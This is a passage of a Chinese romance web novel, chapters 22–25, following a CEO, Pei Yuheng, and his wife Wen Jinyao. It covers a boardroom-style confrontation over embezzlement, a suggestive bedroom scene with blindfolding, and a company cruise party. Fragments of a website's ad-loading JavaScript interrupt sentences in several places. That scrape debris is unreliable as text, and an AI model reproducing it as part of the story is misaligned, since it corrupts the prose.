裴聿珩并不遮掩自己的情绪,也不过多解释,仍是轻声慢语:“嗯,不太容易。” “需要我做什么?” 裴聿珩喉结暗暗滚了滚,抬手解了衬衫最上端的一颗纽扣:“今遥,我想你了。” 温今遥笑着揶揄他:“那我再多哄你两句?” 裴聿珩无声地清了清喉咙,重复道:“我想你。” 这三个字互相勾连牵挽着,顺着他略微沙哑的声线,一路缱绻着流进温今遥被听筒烤得发烫的耳朵。 她几乎本能般地,瞬间明白了他想要的是什么。 “在……在这吗?”温今遥喉咙干涩:“我没做过这种……我、我应该怎么……” 裴聿珩喝了口水,稍稍平复了被她可爱的无措逗弄起来的念头,轻声笑道:“今晚你好好睡,不出意外,我明晚到家。” 温今遥脸红透了,恼羞成怒地耍赖:“你今天没打过这个电话,我也没问过你任何问题,听见没有!” …… 归功于温今遥睡前那一通胡搅蛮缠,裴聿珩没有服药,后半夜依然睡得很好。 这对他来说弥足珍贵——因为今天他要面对的,算是一场硬仗。 简单用过早饭,吴桓早就在楼下热好车等他。裴聿珩上车先问:“东西都备齐了?” “刚又查了一遍,都齐了。” “出发吧。” 他们没有去鸿禧在南城的分部,而是取道高速,一路开到了城郊的高尔夫球场。 与北城每至冬季便开始褪绿的球场不同,南城气候温暖湿润,高尔夫球场一年四季绿草如茵。在南城近郊拿下这样一块面积广阔的地并不容易,当年裴崇也是花了极大的物力财力,才最终将它收入囊中。 但是现在,这块地已经到了易主的边缘。 裴聿珩大概明白父亲为什么这么做,因为原本的高端连锁已经运营稳定,他打算把集团资源渐渐向新品牌半夏转移,而这一举动,恰恰动了不少人的蛋糕。 这其中,裴崇亲信的含量几乎高达百分之百。 他们跟着裴崇一路打拼上来,觉得鸿禧就跟自己家的没什么区别,现在突然冒出个毛头小子,说这是我家的,我现在要盖新房子,你们都给我滚蛋。 这搁谁谁愿意。 但好巧不巧,鸿禧还真就是裴聿珩家的。 有的人身居高位,养尊处优太久,一不小心养出了狼子野心。 而裴崇虽然已经把权柄交接给了儿子,但他能接受的只是自己的高瞻远瞩在下一代的努力下继续发扬光大,而不是像现在这样,裴聿珩一上台,就立刻转移整个集团的重心,让他卸任前留下的方针和期许,都变成了一个空洞的笑话。 裴聿珩上半年料理了他三叔,彻底撕破了他相安无事如沐春风的低调假象,之前又带着温今遥回家,算是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 彻底跟家里划清了界限,现在该行动的全部摩拳擦掌,准备撕破上下一条心的脸皮。 宾利驶入球场俱乐部大门,吴桓询问裴聿珩是不是要直接开进去,裴聿珩道:“不用,我在这下车,你直接回北城吧。” 吴桓:“……不用等您吗?” 裴聿珩笑笑:“我赌他们会亲自把我送上飞机。” 吴桓走后,裴聿珩并不急于找人,而是在餐厅坐了下来,悠闲逍遥地喝起了茶。 不消一刻钟,他要找的人便抹着汗赶来:“大侄子!来了怎么也不说一声!多久没见啦?走啊,比两杆去!” 贺中说气话来中气十足,头上发蜡打得一丝不苟,穿着一身立领Polo衫,大笑着拉过裴聿珩面前的凳子,不由分说坐下:“啥时候来的?来玩啊?” 裴聿珩眯了眯眼,也笑道:“没有那么好的命,来公干的。您身体还好?” 贺中大手一挥:“就那样吧,到底上年纪了,比不得当年跟你爸打天下的时候啦。” 几句话既客客气气,又把他要说的一句不落全说了:公干?公干谁?老子当年跟你爹都是称兄道弟的,在我面前撒野,你算什么东西? 裴聿珩全盘接了,寒暄两句,话锋一转,问:“上次听我爸说,您心脏不好,现在是不是还随身带着药?” 贺中“哎呀”一声:“听谁说的,没有的事。” “我是说,”裴聿珩和煦地笑着:“要不您先吃两粒,不然球场偏僻,我怕一会儿救护车堵在路上,赶不过来。” 他不再去看贺中猛地变了的脸色,而是将吴桓留给他的文件袋打开,毕恭毕敬放到贺中面前:“您过目。” 里面厚厚一叠文件,说的事情很简单:贺中身为鸿禧的个体股东,儿子贺霄作为他的直系亲属,层层套壳,实际上是鸿禧最大布草供应商的控股人,相当于鸿禧的现金通过这个供应商公司,大量流向了贺立的公司,而更多资料显示,贺中的夫人也通过运作,成为了一家中等规模连锁酒店的股东。 ……这是在掏鸿禧的钱,去填他们自己的事业。 贺中略略扫了一眼,嗤笑了声:“大侄子,这都谁在胡说八道,这你就信了?” “自然不信,”裴聿珩云淡风轻:“所以我去查了那家连锁酒店的关联企业,您猜猜,我查到了什么?” 贺中张了张嘴,却没有搭话。 他知道裴聿珩查到了什么——关联企业中有一家,七拐八拐,挂上了裴崇的名字。 贺中顿了顿,又换上一副语重心长的样子:“我们这些叔叔伯伯,都是看着你长大的,多信任你你还不知道吗?但是人呐,有时候也不能太较真,人至察则无徒,听过没有?” 裴聿珩散漫地一笑,和和气气一点头:“听过,但我爸昨天给我打了电话,说他发现南城这边账目异动,他怀疑有人假借他的名义要掏空鸿禧,我这才立刻赶过来查。说白了,我就是在替我爸做事,可能人到了晚年,确实会开始依赖小辈,您说呢?” 贺中盯着裴聿珩纹风不动的眼睛,背上忽然浮起一层冷汗。 裴聿珩的话他听明白了:我跟我爸是父子亲缘,你跟裴崇是什么?再亲能亲得过血缘吗?再闹,你是不是忘了,你也有个儿子? 贺中深吸一口气:“怎么可能!要真有什么动静,我会不知道?这样吧大侄子,你先回去,我好好查查,半个月,半个月之内就给你答复,行不行?” 裴聿珩垂着眼,拇指轻轻摩挲着杯口:“那辛苦贺叔叔。” “好说,”贺中暗自松下一口气,满脑子都是赶紧送走这尊大佛:“我这晚上约了城建的人,就不留你吃饭了,要不……找人送你?” 裴聿珩停下手指,笑得谦和得体:“那就麻烦贺叔叔,送我去机场吧。” 23. 第 23 章 当天下午,在组会里熬得生不如死的温今遥,接到了两个续命的好消息。 一个是奇美家居那边终于完成了尺寸定制,随时可以送货上门,另一个是裴聿珩发了她航班号,说南城的事情一切顺利,下午再回公司处理点公务,可以提早回家。 也就是说今晚加完班,她就能看到一个崭新的家,和一个半新不旧的老公。 于是整个下午温今遥都急得有些坐立难安,以至于她接到快递电话的时候,也只是心不在焉地交代了一句“家里有人”,并未深想是什么东西到了。 等她在微博收到同担的私信,才终于反应过来,快递是同担出本的时候特意留给她的R18。 手机嗡嗡两声,分秒不差地进了两条微信。 裴聿珩:[图片] 裴聿珩:[语音] 温今遥点开图片,如遭雷击。 估计是一路上雨水天气多,快递纸盒像是被水泡过,一片糟污,可怜巴巴地从中间裂开,露出里面儿童不宜的封面。 不知该说不幸还是万幸,书的塑封却十分坚强,看样子一点都没破,封面上两个以堪称诡异的姿势叠在一起的人,在烂胀的快递盒中安然躺着,清晰度一骑绝尘,丝毫没被污渍所遮盖。 她盯着屏幕上那条短短两秒的语音,忽然失去了活着的勇气。 ……要不直接离婚吧。 不,还是直接跑路吧! 她几乎用上了当年毕业时答辩的勇气,找了个没人的角落,颤颤巍巍地点了语音。 裴聿珩声音倒没什么波动,一副见惯了大风大浪的淡定口气:“今遥,你的书到了。” 温今遥面不改色:“扔在门口吧,我替同事代购的。” 为了避免他问出“哪个同事啊,她被网站拉黑了么”这种灵魂拷问,她立刻补上一句:“晚饭你自己吃哦,今晚要加班。” 对面的“正在说话”亮了半天,才回过来一句:“我有些后悔把项目给威禾了。” 后悔是没法子后悔了,温今遥加完班回到家,已经过了十一点。 指纹锁开启的一瞬间,她原本期待的是漆黑寂静的家,也许书房或者卧室的门缝中,会溢出一丝与她无关的光亮。 但是公寓大门打开,客厅里虽然空无一人,却亮着柔润温暖的灯带,音箱里放着她爱的和缓音乐,她亲手挑选的案几和方凳早已摆放就位,餐桌上孤零零摆着一碗专门为她点的红豆布丁。 书房的门大敞着,传出一串急切的起身声,紧接着是那个人和润低缓的声音:“今遥?” 温今遥踏进大门,眼眶湿润:“我回来啦。” 裴聿珩从书房探出半个身子,在看到她的一刹那,眉间深锁的肃然一下子散了,换上一片欣喜的笑意:“累了吗?” 温今遥踢掉鞋子,跑过去一头扎进他怀里撒娇:“累,累死了,给你这个资本家干活!给我升职加薪!” 裴聿珩摸摸她的发顶:“可以,你来鸿禧,职位随便你挑。” 温今遥张口就来个大的:“我要当总裁!” 他带着笑:“可以。” 裴聿珩扳过她的身子,轻轻把她向后转:“温总,先去视察您的书房吧。” 他将主卧隔壁的那一间作为她的小书房布置,温今遥亲手挑的升降桌、工学椅,裴聿珩又给她配了书柜、投影、音箱,只买贵的不选对的,甚至还有一张普拉提床。 原本只是一间用作简单休息的客房,被他精心一布置,温今遥觉得自己可以死在里面。 裴聿珩在她身后道:“房间是按这几天对你的观察布置的,要是有不周全的地方,现在可以给奇美打电话,让他们重新装。” “周全,”温今遥眼睛几乎离不开她的新投影:“这可太周全了。” 她真的起了玩心,背着手像猫大人在巡视领地一般巡视自己的书柜,名贵的金花梨木表面刻着独特纹理,被精心镶制成高大文气的模样,延伸至整面墙,里面空无一物,等待着主人用自己的品味填充—— 等等? 里面为什么有一本…… 她看见她CP躯体交缠着靠在书柜里,此刻正齐齐望向另一个次元目瞪口呆的她。 温今遥感觉到身后一道揶揄里夹着揣度的目光,正不偏不倚地停在她的后颈。 她故作镇定:“不是说了这是给我同事带的吗,怎么放这里了?” 裴聿珩轻轻笑了一声,打开书柜,翻过塑封完好的同人本,封底赫然夹着店主对她的亲切问候—— hi晴天娃娃!这是我们认识的第三个年头啦!谢谢你一直光顾我的小店~以前跟你聊CP开脑洞的每一天都好美好哦,这本是我按照你的XP特意给你留的,希望食用愉快~ 温今遥:“……” 她跟网友的友谊以一种歹毒的方式进入了她的三次元生活! 裴聿珩生怕她不够社死一样,在她头顶温声道:“我还去查了XP是什么意思……现在明白了。” 温今遥就像光红脸装不下尴尬似地,后颈也泛上一片薄红,连带着那些扎不进马尾的小绒毛,在灯光下像一颗鲜嫩的蜜桃。 裴聿珩忍不住上手捏了捏:“我觉得我好像又了解了你一点。” 温今遥咬紧了牙关才没尖叫出来,她一把推开裴聿珩,把自己扔进被子里:“你不要跟我说话!我没脸见人了!” 她的社死时刻,似乎总与被子有不解之缘。 裴聿珩熟练地用被子将她裹成一个大号寿司卷,一路抱回主卧,小心将她放在床上,低头衔住她的耳垂:“现在轮到我享用礼物了么?” 这一声卷着他身上洁净潮润的水气,咒语一样吹进了温今遥的耳朵。 接下来的事情她都不甚清晰了,只记得她的防备被一层一层剥离,房间空气微凉,轻抚在她身上,让她惊恐和战栗。 她对温热柔软触感惧怕甚至超过抵住她脚踝的膝盖,下意识惊叫着想躲,侧腰却被人小心却用力地扣住,甚至愈加肆无忌惮,将她拖进更深的深渊。 整个人跌进没有尽头的坠落里,肢体酸软,全无倚仗,只靠他那一点若有似无又存在感极强的承托,令她轻飘飘地无限下坠…… 指间攥紧的皱褶被撕扯到极致,又脱力似地蓦然松开,有一线银亮在他唇角闪过,他好似啖咽了令人入魔的般若汤。 一双细痩皓腕捏在一只宽大掌心间,蓦地被举过头顶。 温今遥潮湿的眼睛短暂地清醒。 是他极为俊朗的下颌线,贴着她的视线,极近,像是下一秒就快将她吞吃入腹那样近,她听见他沉厚带哑的声音:“喜欢这个,就该早点告诉我。” 下一刻,她双眼被一条冰凉滑腻的领 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 带所遮盖,手腕也爬上相同质感,指尖传来被束缚的细微胀痛,视觉的剥夺将她每一点触感都放得极大,大到足以混淆现实、吞没意志。 微凉与滚烫的交刃让她失去声音,却徒劳地咬住下唇,粗糙的指尖覆上她发白的唇瓣,耐心地揉搓、研磨,慢慢地令她屈服、松口,最后溃不成军,不得不任他予取予求。 她咬住后齿,臣服似地低声呢喃:“裴聿珩……” 他听懂了她的暗示。 于是下一秒,她只身被放逐至云端,孤零却踏实地飘落。 世界甚至失去了黎明的颜色。 身体和理智皆在渺远的光中消散,在某个瞬间她甚至想,我爱他。 在穿过所有的时光、恨意、愧疚之后,这竟是最后的答案。 …… 这个答案令她如此心惊,以至于之后的几天,她只要闲下来,就会开始认真咀嚼这件事。 那也是一种生理反应吗?还是在原始渴求压倒一切抵挡之后,显露出来的真相? 说来奇怪,每每在办公室摸鱼想到这件事时,她总觉得大概是自己黄色废料侵蚀大脑,分不清欲望和爱情,但每每在家里对着裴聿珩那张好看又温和的脸时,她却无比确定:放屁,我就是爱他这个人。 几次下来,她也摸清了自己的德行:一只肤浅的颜狗。 肤浅的颜狗没有爱情,肤浅的颜狗只有荷尔蒙。 她以为这只是她暗地里见不得人的碎碎念,直到有一天,李玉把她叫进办公室,点着她新改出来的方案问:“这是你自己做的,还是花钱外包的?” 温今遥:? 温今遥:“总监,你看我有钱找外包吗?” 李玉想了想,觉得在理,又问:“那你的风格怎么能在这么短时间里变这么多?” 温今遥:“啊?什么风格?” 李玉指着她交上来的东西:“原来不一直都是纯爱风吗,怎么突然变得……往那方面去了?” 温今遥懵懂着:“哪方面?” 李玉:“X张力那个方面。” 她如临大敌:“你是不是又谈恋爱了?还是去外面约了?” 温今遥:“……没有!都没有!” ……也不算说谎吧! 李玉狐疑地盯着她的脸半晌,真没看出什么端倪,才松了口气:“谈恋爱可以,但得看清对方的为人,听见没有?” 温今遥在心里干笑两声,面上低眉顺眼:“总监放心,我听见了。” 可就算借她八双眼睛,她恐怕也看不清裴聿珩的为人了。 “对了,”李玉从成叠的文件下面翻出一张烫金的精美邀请函:“鸿禧那边要趁着圣诞办尾牙,给咱们也送了请柬,你跟我们一起去。” 温今遥:“嗯……啊?”她本能地觉得在工作场合靠近裴聿珩是一件极端危险的事,张口就想拒绝:“这,不方便吧?我这种档次……” 李玉打断她:“咱们这种档次怎么了?鸿禧难道人人都是裴聿珩那种高高在上的资本家?小小年纪不要妄自菲薄,咱靠自己双手吃饭,见了谁都不用怯场。”她点了点请柬封面上印着的巨轮:“游轮派对,去见见世面,机会难得。” 话说到这份上,温今遥再拒绝,就太不识好歹了。 最后她只能一咬牙,赌上必死的决心:“行,我去。” 24. 第 24 章 温今遥觉得,这事不能只有她一个人糟心。 鸿禧的尾牙向来会邀请许多合作方和投资人,不止是员工福利,也一样是投资人晚宴。这种场合,裴聿珩是当仁不让的主角,所有目光都会集中在他身上,如果这时候让人发现他老婆是温今遥这种灰姑娘,估计第二天鸿禧就得股价大跌。 那可都是真金白银,他应该比温今遥还要紧张。 只要他出手阻挠,都不用把话说得太明白,只需限制一下出席人员的职务,她就能立刻逃出生天。 本着这种心思,温今遥在晚饭时候,佯装兴奋地告诉他:“你们要办游轮派对呀?我们李总监要带我去呢。” 果然如她所料,裴聿珩难得怔愣了一瞬,不确定似地问:“带你去?” 温今遥语调又夸张地上了半个八度:“啊,对啊,我这辈子还没上过游轮呢,你们伙食怎么样?有酒吗?度数和价钱都高的那种?” 她意思再明白不过:我就是这种没见过世面的土鳖,去派对的唯一目的就是吃吃喝喝,搞不好还会耍酒疯,休想让我给你涨一点脸。 裴聿珩安静听她讲完,低头饮了口汤。 温今遥在氤氲的热气中,不太真切地看到他的唇角细微地抬了抬。 温今遥:? 不是……是她说得不够明白吗? 她假装没看见裴聿珩这一瞬间的破绽,又别有用心道:“是不是还能见到很多有钱人呀?到时候我可以到处给他们发名片,有机会一起发财!” 蹭吃蹭喝他不在意,直接跟他投资人当面丢人贴脸开大,他总不能坐视不理吧? 听了这句,裴聿珩果然放下手里的汤碗,目光灼灼地望着她:“那明晚一起去选礼服好吗?穿得漂亮点,发名片的成功率会更高。” 温今遥简直要疯了:“你要不要听听你在说些什么?” 裴聿珩好整以暇:“夫人的心愿,我自然尽量满足。游轮上为了保证安全,没有高度酒,但我可以让人送几瓶到我们房间,你想喝多少都可以。” 温今遥只觉得头疼:“谁跟你我们房间……裴聿珩你清醒一点!你跟我结婚只是为了有个已婚身份,要真让别人知道你娶了个社畜,你是打算沦为商场笑柄吗?” 裴聿珩正好剥完一只明虾,顺势放到她碗里:“不愧是鸿禧老板娘,好有格局。” “裴聿珩你……” 这人却慢条斯理将手指擦净:“我觉得你们李总监,蛮有前途的。你说我要是收购了威禾,她愿意换个地方给我打工吗?” 温今遥:“……你想都别想啊资本家!” 但她的家养资本家比起别人来倒是有个好处,就是说话算话。 第二天一到下班时间,她就收到裴聿珩的消息,说在老地方等她。 温今遥踮起脚尖,半个身子探出窗子看,果然看到街角处那片绿荫下,掩映了一点熟悉的黑色流线。 她正想偷偷正点下班,李玉却一个语音电话打过来,震得她心虚不已:“总监?” 李玉道:“我才想起来,你以前去过这种商务场合吗,人家要求穿礼服的,我陪你去挑一套?” 温今遥抿了抿唇,一句谎话哑在嗓子里,有些说不出来了。 那边听她半天不吱声,又说:“怕贵?那可以租一套,你也算是公干,公司报销。” “总监,其实我……” 李玉手机忽然进来个电话,她急着道:“先这样,你自己想想哈,年轻人多见见世面,对你好。” 说完便不由分说结束了通话。 温今遥在窗口,眼睛望着楼下翘首以盼的宾利,手里握着发烫的手机,一颗心一面虚着,一面却被放进柔软的小窝里。 不该骗她的,温今遥心想。 可李玉对她寄予厚望,她要怎么告诉她,自己真的上了鸿禧裴总的床? …… 温今遥跟着裴总抵达高定工坊时,那边早已安排专人在门口迎候。 主理人将两人迎入工坊,招手叫人奉上茶点,轻扫了一眼温今遥忘记取下的工牌,转头又与裴聿珩谈笑:“早听说裴总新婚,这次是要公布夫人的身份了?” “她作为合作方出席罢了,”裴聿珩并不遮掩:“她大概喜欢低调些的,具体的以她的意见为准吧,费心了。” 高级裁缝师将温今遥请进后方工作室,请她褪下衣裙好量尺寸,温今遥双手抱胸:“不用了吧……你们应该有成衣吧?随便拿一件不那么出挑的给我就好了。” 裁缝师莞尔一笑:“即使是成衣,也需要根据您的尺寸改的。” 温今遥干笑:“我没那么高的要求……” 裁缝师带着点薄茧的手指划过她优越的肩颈曲线:“可是我有。”她笑着:“我跟您先生一样,觉得您配得上最精细的华服。” 温今遥:? 现在高定也卷成这样了么,裁缝都要兼职销售背KPI了? 她愣神的功夫,裁缝师已经手脚麻利地替她脱去大衣和衬衫,同为女性犀利又欣赏的目光落在她常日里被裹在不甚贴身的衣物中的姣好身材上,停了片刻:“相信我,我之前是做结婚礼服的。哪个男人是真心,哪个男人是假意,我一眼就知道。” 她将冰凉卷尺在手心捂了捂,轻轻在温今遥身上一搭,一触即离:“裴太太,您过分幸运了。” 温今遥:…… 她下意识反驳:“我跟他只是……” “嘘,”裁缝师竖起食指搭在唇上:“女人穿礼服不是为了取悦男人,是为了给自己底气:你配得上世上最好的东西。您需要牢记这一点。” 温今遥心里那一点点被兵荒马乱掩盖住的慌乱,蓦地落了地。 裴聿珩的世界离她太遥远,就算她有什么心思,也会被两个世界无法弥合的鸿沟吓退。虽然是他的合法妻子,但温今遥恨不得全世界都不知道这件事,她只要能一个人悄悄享受就可以了。 现在她才陡然明白,除了她心里过不去的往事之外,横贯在他们之间的,是她自己都不曾正视过的不配得感。 “很标准的身材,”裁缝师迅速完成了工作:“有兴趣的话,可以去试试成衣看看我们的风格。” 温今遥在琳琅满目的礼服中,选了一件香云纱青色鱼尾礼服裙,上身的熨帖程度简直像是量身定制,除了侧腰有半寸宽大之外,几乎没有任何不匹配。 裁缝师在她后腰扎了一枚小小针钉,收紧了那半寸暇余,忽然猛地拉开她身后的布帘。 大厅灯光如银河般流泻在温今遥身上,香云纱缀着的手工刺绣如初见天日般闪耀着如水光华,温今遥脸上瞬间的惶惑还未散尽,眼中带着对镜中人的不可置信,方寸大乱地转过头—— 裴聿珩双腿交叠着坐在一张沙发椅上,右手端着一盏茶,似乎正要喝,目光却面前的人攫住,忘了将茶盏送到唇边。 温今遥撞进了一双跟她同样失语的眼睛。 这是她这辈子唯一一次看到这样的眼神:惊艳、陌生,还带着一点确认,就好像他等这个人,已经等了很多年,蓦然回首,才终于遇见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 在百分之一秒理性回归的间隙,温今遥忽然想,我为什么就不能是他名副其实的妻子,为什么就不能奢求他爱我? 过去是过去,我是我。 像是要把她的梦彻底照进现实似地,裴聿珩站起身来,与她并肩站到镜子前,对她支起一只手臂:“裴太太,你看,我们有多相配。” 镜中一对壁人,男人温润矜贵,女人优雅娴静,任谁看了,都要赞一句郎才女貌、檀郎谢女。 温今遥注视着镜子里陌生的两个人,宛如天造地设,就好像他们生来就该这样比肩而立,站在彼此身边是这样不可逾越的真理。 可那个女人是她吗,如果是她,为什么她会觉得自己那么空荡,那么陌生呢? 温今遥恍然地摸了摸胸口,忽然问:“我的工牌呢?” 裴聿珩轻挑眉头,蜷着的指尖顿了顿,在身侧收得更紧了。 立刻有人上来,把她刚刚换下的随身物品交给她:“这件比较日常,如果您想的话,也可以直接穿走的。” “不了,”温今遥道:“腰围不是还要再改改么?”她恋恋不舍地回望了一眼镜中人,眼神停在裴聿珩垂下的眼睫上:“还是换掉吧,免得弄脏了。” …… 平安夜,温今遥跟着于放和李玉,拖着自己小小的行李箱,登上了金碧辉煌的阿特洛芙号。 顶层甲板,有西装革履的人影靠在围栏边上,低头看着她小心翼翼地跳上巨轮,欣喜得像一个到了迪士尼的小姑娘。 吴桓垂手立在他身边:“裴总,需要我接夫人上来吗?” “不用,”裴聿珩垂眸凝视,看见她回身对李玉兴奋地比比划划,李玉一巴掌拍上她的背,眼角眉梢却掩不住宠爱。 “找个机会把房卡给她,”裴聿珩抬手捏捏眼角:“避着点人。” 阿特洛芙号如同海上的移动蜃楼,包括客舱共十层,内部完全是一座世外乐园,光餐厅就有九处,甲板上的水上乐园跟海水一样波光粼粼,书屋、电影院、剧场、瑜伽馆、SPA、各种纪念品,端着饮品和冰淇淋的侍应生随处可见,视野极好的顶层甲板上还有一处花园酒廊。 温今遥两只眼睛根本不够用:“退一万步说,我们威禾就不能在这上面办公吗?” 于放转身从居酒屋中端了一杯马提尼递给她:“现在先别退,等到了公海再退,不然国内还得负责找你。” 温今遥:“……老板你对我就没有一点同事爱吗?” 她低头啜了一口烈酒,刚晕晕乎乎上头,忽然接着于放刚刚的那句话想,你们不找我也会有人找我的,哼。 抬眼望向渐渐西沉的金乌,西边天空擦上厚重的胭脂,温今遥努力眨眨眼睛:不知道他现在在干嘛呢? 裴聿珩正准备开幕晚宴致辞。 这种场合他信手拈来,粗粗扫了两眼发言稿,便搁在一边,抬眸注视着窗外云鬓华服人来人往,思绪一个跳频,猛地回忆起他在北城三中作为学生代表在主席台上发言时,隔着茫茫人海,一眼就看见的她的眼神。 骄傲、崇拜、热烈,是他在往后没有她的许多年里,梦中唯一的光。 不知道今天有没有那个运气再看一次…… 客舱门被轻敲三下,吴桓端着点心进来:“裴总,先垫一垫。” 裴聿珩随手捻起一块吃了,觉得味道不错:“包一些给夫人送去。” 吴桓愣了愣:“是送去夫人房间吗?” “不必,”裴聿珩抬了抬唇角:“送去顶层套房。” 25. 第 25 章 天边余烬吞进了最后一丝天光,寂静海面一片漆黑辽阔,只剩从巨轮舷窗采撷下来的点点光亮,在沉黑的水面荡漾。 而阿特洛芙号宴会厅中,衣香鬓影,灯彩如瀑,厅侧现场乐团沉浸演奏着舒缓的韵调,夹杂着雅致的冷冽幽香,缓慢而充盈地流泻在宴会厅的每个角落。 或许因为佳节在即,现场并没有肃穆紧绷的情绪,反而充斥着松弛的轻松惬意,来宾们个个端着酒杯,笑语晏晏,仿佛这只是一场高规格的餐会。 温今遥寸步不离地跟着于放和李玉,安静听他们跟在场的贵客游刃有余地寒暄,比起他们口中的“需求”“构想”“颗粒度”,她还是对不远处珠光宝气的女明星更有兴趣。 代言人出席尾牙也是鸿禧的传统,实力女星付静萱从年初接棒品牌体验官,年中有作品大爆,并传出将与大导合作的传闻,在圈子里称得上炙手可热,她却回绝了公司与鸿禧结束合约的建议,坚持续签,当时鸿禧刚刚完成权力更迭,可以说付静萱在这里面,算是助了裴聿珩一臂之力。 看见她,温今遥才真正理解了网上那句话:女明星都跟普通人有壁。 台上忽然响起三声清脆震响,裴聿珩一身修身挺拔的西装,略显繁琐的三件套在他身上裁云剪水般适体。 他用小叉清敲高脚杯:“各位,各位。” 喧哗声渐渐低下去,所有贵宾的目光都汇集于裴聿珩一人身上,安静等待他的发言。 裴聿珩声音低沉,但措辞温和、用词精准,翩翩风度中不失一马当先的气魄,适时抛出的玩笑精确又得体,令在场所有人都能放下远在裴地的压力,会心一笑。 在私密空间对她温柔耳语的男人此刻站在万人中央,聚光灯仿佛为他而生一般照亮他俊朗的面容,他意气风发,风趣闲适,在繁缛靡丽的浮华间游刃而过,似乎他才是这一切的主控。 温今遥的目光被他身上炫目的光攫住,根本无法移开。 她是台下不起眼的一员,像是被淹没在人群中间。她在攒动人海中抬头望向台上,第一次如此真切地感受到,她跟裴聿珩的距离,竟然这样遥远。 宴会厅再大,一百步也能走完,但她站在一众的锦衣绣袄和流金溢彩中间,竟无法向他跨出一步。 而裴聿珩在某个间歇气口,似有所感一般忽然抬眸,穿过衣香云鬓和浮光掠影,视线精准地落在她的身上,对她极轻极轻地点了点头。 温今遥记起某个秋高气爽的开学季,裴聿珩也是这样,光芒万丈地站在台前,作为学生代表在开学典礼上讲话,那时候的她像今天一样,只是台下仰望注视他的一员,而他偏能在一众相同的校服和青涩脸孔中,准确无误地找到她。 讲话结束,如云般的掌声响起,裴聿珩微笑颔首,示意大家自便。 乐团奏起欢快温馨的圣诞歌,嘉宾们三五成群,频频举杯,互道“圣诞快乐,”,而裴聿珩在走下台的第一秒,便改变了方向,朝温今遥而来。 温今遥余光瞥见他过来,抑制住莫名的慌乱,假装专心研究食物,却迟迟等不到他来,抬头望一眼,发现他正低头与一位背影曼妙的女郎含笑谈话。 她从盘子里拣了块牛肉吃了,似乎也没尝出什么味道来。 而另一边的裴聿珩对着一脸洞悉一切的沈靖舒,脸上还端着面具一样得体的微笑,声音却冷:“你要干什么?” 沈靖舒难得把自己团成一个人形,一袭华美衣裙让她穿得怀金垂紫。她低头浅笑着,嘴里不说人话:“你就说是不是吧,是不是那个穿鱼尾裙的女孩?” 裴聿珩微微俯下身,任谁看都是一副亲和礼貌的姿态,在沈靖舒耳边道:“我警告你,离她远一点。” 沈靖舒掩唇而笑:“小气,看看怎么了?还怕我抢你的?” 沈靖舒这个人,平时看起来最不着调,但人格魅力绝对不容小觑,再说,撬男同学墙角,把小姑娘掰弯这种烂糟事,她上学的时候也不是没干过。 裴聿珩抬手从路过的侍应生盘中拿了杯酒,绅士地塞到她手里:“多喝几杯,喝吐了早点睡觉。” 沈靖舒礼数周全地接了:“我可提醒你,我看到贺中了。” 裴聿珩冷笑一声,不以为意:“怎样?” 沈靖舒肃起脸道:“跟你说过我们家争家产那些烂事你都忘了?护好你的今遥妹妹,有些人手段能脏成什么样,你永远想不到。” 裴聿珩眼神阴鸷了一秒,很快恢复清明:“知道。” 他不再与沈靖舒纠缠,终于拨开人群来到温今遥面前,却被李玉挡在中间:“裴总,感谢您请我们来,也算是让我们见过世面了。” 裴聿珩越过她的肩头去看温今遥,温今遥正聚精会神研究一杯五光十色的鸡尾酒,唇角微微耷拉着,也不肯抬头看他。 裴聿珩礼貌地跟李玉碰了一杯,抬头去叫她:“温小姐。” 温今遥语气冷灰:“裴总客气,叫我温今遥就好。” 裴聿珩捏着杯颈的手指顿了顿,一时接不下去了。 这句话的厉害旁人听不出,他可是领教过。 小时候不懂事,同学问起来这是谁,你什么时候多了个妹妹?他随口答,是我家司机的女儿。小女孩要面子,被人嘲笑了也不来跟他发脾气,只是他一叫“今遥”,她就气呼呼反驳:“温!温今遥!” 裴聿珩一直知道她对感情对婚姻都有洁癖,哪怕觉得跟他是契约婚姻,也还是不想看到他跟别人亲近,只是她生别人的气他还能理解,生沈靖舒的气,他实在是委 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 屈。 到底是谁该有危机感来着…… 他有心解释两句,却碍于李玉和于放还在旁边,说也不是,不说也不是,真正感受了一把进退两难。 寒暄两句,他也不便多待,只能道:“二楼自助餐厅的小蛋糕不错,各位尽兴。” 他看到一只小巧莹润的耳朵,在盘绕的乌发下轻轻动了动。 裴聿珩唇边漾起一点温存笑意,欠了欠身离开了。 李玉送走了这位大佛,转头板着脸教训温今遥:“上次裴总器重你,你飘了是不是!怎么对人家那样说话!” 温今遥撇着嘴:“我哪敢呢……” 于放倒不甚在意:“我看裴总倒不怎么在意,都是年轻人嘛……走啊今遥,跟我们一起看戏去?” 温今遥摇头:“不去了于总,我有些晕船,就先回去睡了。” “要不要紧?”李玉上来摸她额头:“我带了晕船药,给你拿一些。” 温今遥摘下她的手,握在手里:“我也带啦,你们快去看戏,我休息一会儿就好了。” …… 休息是不可能休息的,毕竟后院的火还没有扑干净。 温今遥上船第一件事,就是把船上所有餐厅的营业时间、菜系、主营范围还有位置全部打听了个遍,二楼自助餐厅根本不是二十四小时营业的,更没有什么小蛋糕。裴聿珩那么说,摆明了就是要见她。 真不错,她心想,一出海手机也没信号了,要私下见面只能打哑谜,刺激。 夜渐渐深了,游轮上各式活动琳琅满目,自然没人注意一个已经关门了的餐厅。二楼旋转楼梯旁一片漆黑,温今遥扶着扶手慢慢走下来,却在下到最后一级时,听到了餐厅里有人谈话。 是裴聿珩的声音:“……当然不会,在这一点上我们的目标相同,不过我倒是很意外您选择跟鸿禧续约。” 一个温柔优雅的声音紧随其后:“当年老裴总追投的那笔钱,救了我的成名作,也算是我欠鸿禧一个人情,当然……我自然是有我的考虑。” “这些都是您的自由,”裴聿珩声音里有一丝不易察觉的急躁:“不用担心,只有利益捆绑的关系才更牢靠。” 温今遥愣了:利益捆绑? 他跟付静萱……有什么关系? 